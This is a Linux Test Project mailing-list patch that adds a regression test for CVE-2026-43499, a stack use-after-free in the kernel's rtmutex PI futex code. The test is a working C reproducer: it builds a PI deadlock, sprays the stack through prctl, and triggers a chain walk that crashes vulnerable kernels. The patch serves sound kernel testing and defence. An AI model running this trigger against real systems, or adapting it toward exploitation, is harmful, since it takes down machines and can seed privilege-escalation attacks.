From: Andrea Cervesato <andrea.cervesato@suse.de>
To: Linux Test Project <ltp@lists.linux.it>
Subject: [LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer
Date: Mon, 03 Aug 2026 14:26:50 +0200 [thread overview]
Message-ID: <20260803-cve-ghostlock-v3-2-cde83fa429b7@suse.com> (raw)
In-Reply-To: <20260803-cve-ghostlock-v3-0-cde83fa429b7@suse.com>
From: Andrea Cervesato <andrea.cervesato@suse.com>
Add "Ghostlock" reproducer for CVE-2026-43499.
Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/Makefile | 2 +-
testcases/cve/ghostlock.c | 247 ++++++++++++++++++++++++++++++++++++++++++++++
4 files changed, 250 insertions(+), 1 deletion(-)
diff --git a/runtest/cve b/runtest/cve
index 99d84270b6efc9afae5bd27adee704603c3092f7..3035dff9797260402660208f0e5028803a72d297 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -101,3 +101,4 @@ cve-2026-43494 io_uring04
cve-2026-46300 xfrm02
cve-2026-46300-skb-segment xfrm03
cve-2026-46331 cve-2026-46331
+cve-2026-43499 ghostlock
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936..914592f30e4e3e883b6ed270ad47c6910798974e 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,3 +16,4 @@ tcindex01
cve-2025-38236
cve-2025-21756
cve-2026-46331
+ghostlock
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 98c38e90801a21eedad986273d537b16f3e4eb91..22ca4b727ddc240edcc9409ce82904039fc70111 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash: CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
cve-2016-7042: LDLIBS += $(KEYUTILS_LIBS)
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053: CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock: CFLAGS += -pthread
cve-2014-0196 cve-2016-7117 cve-2017-2671: LDLIBS += -lrt
ifneq ($(ANDROID),1)
diff --git a/testcases/cve/ghostlock.c b/testcases/cve/ghostlock.c
new file mode 100644
index 0000000000000000000000000000000000000000..b14f6e76ed2860d59dc369d15a9465d8a13ee9ab
--- /dev/null
+++ b/testcases/cve/ghostlock.c
@@ -0,0 +1,247 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Nebula Security <root@nebusec.ai>
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
+ * rtmutex PI code, fixed in kernel v7.1:
+ * 3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")
+ *
+ * Reproducer based on the Nebula Security writeup and open-sourced PoC
+ * (https://nebusec.ai/research/ionstack-part-2/ and
+ * https://github.com/NebuSec/CyberMeowfia).
+ * Beware, this test will crash the system on a vulnerable kernel.
+ *
+ * [Algorithm]
+ *
+ * - Set up a three-futex PI deadlock topology.
+ * - Call :manpage:`futex(2)` with FUTEX_CMP_REQUEUE_PI on the waiter.
+ * - On a vulnerable kernel, the rollback from -EDEADLK leaves the waiter's
+ * pi_blocked_on pointer dangling on its own stack.
+ * - Waiter sprays its stack continuously via :manpage:`prctl(2)` (PR_SET_MM_MAP)
+ * with non-canonical addresses while main thread calls :manpage:`sched_setattr(2)`
+ * on the waiter to trigger a chain walk.
+ * - The chain walk dereferences the sprayed garbage, crashing a vulnerable
+ * kernel.
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "lapi/prctl.h"
+#include "lapi/futex.h"
+
+#define ATTEMPTS 128
+#define POISON_PTR 0xdeadbee11c518f58ULL
+#define MAX_AUXV_WORDS 48
+
+#define CP_CHAIN_HELD 0
+#define CP_TARGET_HELD 1
+#define CP_OWNER_BLOCKED 2
+#define CP_SPRAYED 3
+#define CP_SETATTR_DONE 4
+
+static uint32_t f_wait;
+static uint32_t f_pi_target;
+static uint32_t f_pi_chain;
+
+static pid_t waiter_tid;
+static pid_t owner_tid;
+
+static unsigned long auxv[MAX_AUXV_WORDS];
+static uint32_t valid_auxv_size;
+static tst_atomic_t stop_spray;
+
+static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+ struct timespec *ts)
+{
+ return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
+ uaddr2, 0);
+}
+
+static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
+{
+ return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
+ uaddr2, 0);
+}
+
+static int futex_lock_pi(uint32_t *uaddr)
+{
+ return tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
+}
+
+static int futex_unlock_pi(uint32_t *uaddr)
+{
+ return tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
+}
+
+static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+ struct timespec ts;
+ struct prctl_mm_map mm_map = {
+ .start_code = (uint64_t)(uintptr_t)&waiter_fn,
+ .end_code = (uint64_t)(uintptr_t)&waiter_fn + 0x1000,
+ .start_data = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+ .end_data = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+ .start_brk = (uint64_t)(uintptr_t)sbrk(0),
+ .brk = (uint64_t)(uintptr_t)sbrk(0),
+ .start_stack = (uint64_t)(uintptr_t)&mm_map,
+ .arg_start = (uint64_t)(uintptr_t)&mm_map,
+ .arg_end = (uint64_t)(uintptr_t)&mm_map,
+ .env_start = (uint64_t)(uintptr_t)&mm_map,
+ .env_end = (uint64_t)(uintptr_t)&mm_map,
+ .auxv = (void *)auxv,
+ .auxv_size = valid_auxv_size,
+ .exe_fd = (uint32_t)-1,
+ };
+
+ waiter_tid = tst_syscall(__NR_gettid);
+
+ futex_lock_pi(&f_pi_chain);
+
+ TST_CHECKPOINT_WAKE2(CP_CHAIN_HELD, 2);
+ TST_CHECKPOINT_WAIT(CP_OWNER_BLOCKED);
+
+ SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
+ ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
+ futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
+
+ TST_CHECKPOINT_WAKE(CP_SPRAYED);
+
+ while (!tst_atomic_load(&stop_spray)) {
+ prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
+ sizeof(mm_map), 0);
+ }
+
+ TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);
+
+ futex_unlock_pi(&f_pi_chain);
+
+ return NULL;
+}
+
+static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+ owner_tid = tst_syscall(__NR_gettid);
+
+ TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+
+ futex_lock_pi(&f_pi_target);
+ TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
+
+ futex_lock_pi(&f_pi_chain);
+
+ futex_unlock_pi(&f_pi_chain);
+ futex_unlock_pi(&f_pi_target);
+
+ return NULL;
+}
+
+static void setup(void)
+{
+ static const int try_sizes[] = {
+ MAX_AUXV_WORDS,
+ MAX_AUXV_WORDS - 4,
+ MAX_AUXV_WORDS - 8
+ };
+ struct prctl_mm_map map = {
+ .exe_fd = (uint32_t)-1,
+ .auxv = (void *)auxv,
+ };
+ unsigned int i, sz = 0;
+
+ SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP_SIZE, (unsigned long)&sz, 0, 0);
+
+ for (i = 0; i < MAX_AUXV_WORDS; i++)
+ auxv[i] = POISON_PTR + i * sizeof(unsigned long);
+
+ map.start_code = map.start_data = map.end_data =
+ map.start_brk = map.brk = map.start_stack = map.arg_start =
+ map.arg_end = map.env_start = map.env_end = (uint64_t)(uintptr_t)&sz;
+ map.end_code = map.start_code + 0x1000;
+
+ for (i = 0; i < ARRAY_SIZE(try_sizes); i++) {
+ valid_auxv_size = try_sizes[i] * sizeof(unsigned long);
+ map.auxv_size = valid_auxv_size;
+
+ if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) == 0)
+ break;
+ }
+
+ if (i == ARRAY_SIZE(try_sizes))
+ tst_brk(TBROK | TERRNO, "PR_SET_MM_MAP failed for all auxv sizes");
+
+ tst_res(TDEBUG, "Using auxv_size = %u", valid_auxv_size);
+}
+
+static void run(void)
+{
+ pthread_t waiter_th, owner_th;
+ struct sched_attr attr = {
+ .size = sizeof(attr),
+ .sched_policy = SCHED_BATCH,
+ .sched_nice = 19,
+ };
+
+ tst_res(TINFO, "Triggering PI deadlock and stack spray");
+
+ for (int i = 0; i < ATTEMPTS; i++) {
+ f_wait = 0;
+ f_pi_target = 0;
+ f_pi_chain = 0;
+ tst_atomic_store(0, &stop_spray);
+
+ SAFE_PTHREAD_CREATE(&waiter_th, NULL, waiter_fn, NULL);
+ SAFE_PTHREAD_CREATE(&owner_th, NULL, owner_fn, NULL);
+
+ TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+ TST_CHECKPOINT_WAIT(CP_TARGET_HELD);
+
+ TST_THREAD_STATE_WAIT(owner_tid, 'S', 10000);
+
+ TST_CHECKPOINT_WAKE(CP_OWNER_BLOCKED);
+
+ TST_THREAD_STATE_WAIT(waiter_tid, 'S', 10000);
+
+ TEST(futex_cmp_requeue_pi(&f_wait, &f_pi_target));
+ if (TST_RET != -1 || TST_ERR != EDEADLK)
+ tst_brk(TBROK | TTERRNO, "FUTEX_CMP_REQUEUE_PI did not return -EDEADLK");
+
+ TST_CHECKPOINT_WAIT(CP_SPRAYED);
+
+ TEST(sched_setattr(waiter_tid, &attr, 0));
+ if (TST_RET == -1)
+ tst_brk(TBROK | TTERRNO, "sched_setattr() failed");
+
+ tst_atomic_store(1, &stop_spray);
+ TST_CHECKPOINT_WAKE(CP_SETATTR_DONE);
+
+ SAFE_PTHREAD_JOIN(waiter_th, NULL);
+ SAFE_PTHREAD_JOIN(owner_th, NULL);
+ }
+
+ tst_res(TPASS, "Kernel survived %d GhostLock trigger attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+ .setup = setup,
+ .test_all = run,
+ .runtime = 180,
+ .needs_checkpoints = 1,
+ .needs_kconfigs = (const char *[]) {
+ "CONFIG_CHECKPOINT_RESTORE=y",
+ "CONFIG_FUTEX_PI=y",
+ NULL
+ },
+ .taint_check = TST_TAINT_W | TST_TAINT_D,
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "3bfdc63936dd"},
+ {"CVE", "2026-43499"},
+ {}
+ },
+};
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
prev parent reply other threads:[~2026-08-03 12:27 UTC|newest]
Thread overview: 5+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-08-03 12:26 [LTP] [PATCH v3 0/2] Reproducer for ghostlock Andrea Cervesato
2026-08-03 12:26 ` [LTP] [PATCH v3 1/2] lapi/prctl: add more fallback definitions Andrea Cervesato
2026-08-03 14:38 ` [LTP] " linuxtestproject.agent
2026-08-04 7:39 ` Andrea Cervesato via ltp
2026-08-03 12:26 ` Andrea Cervesato [this message]
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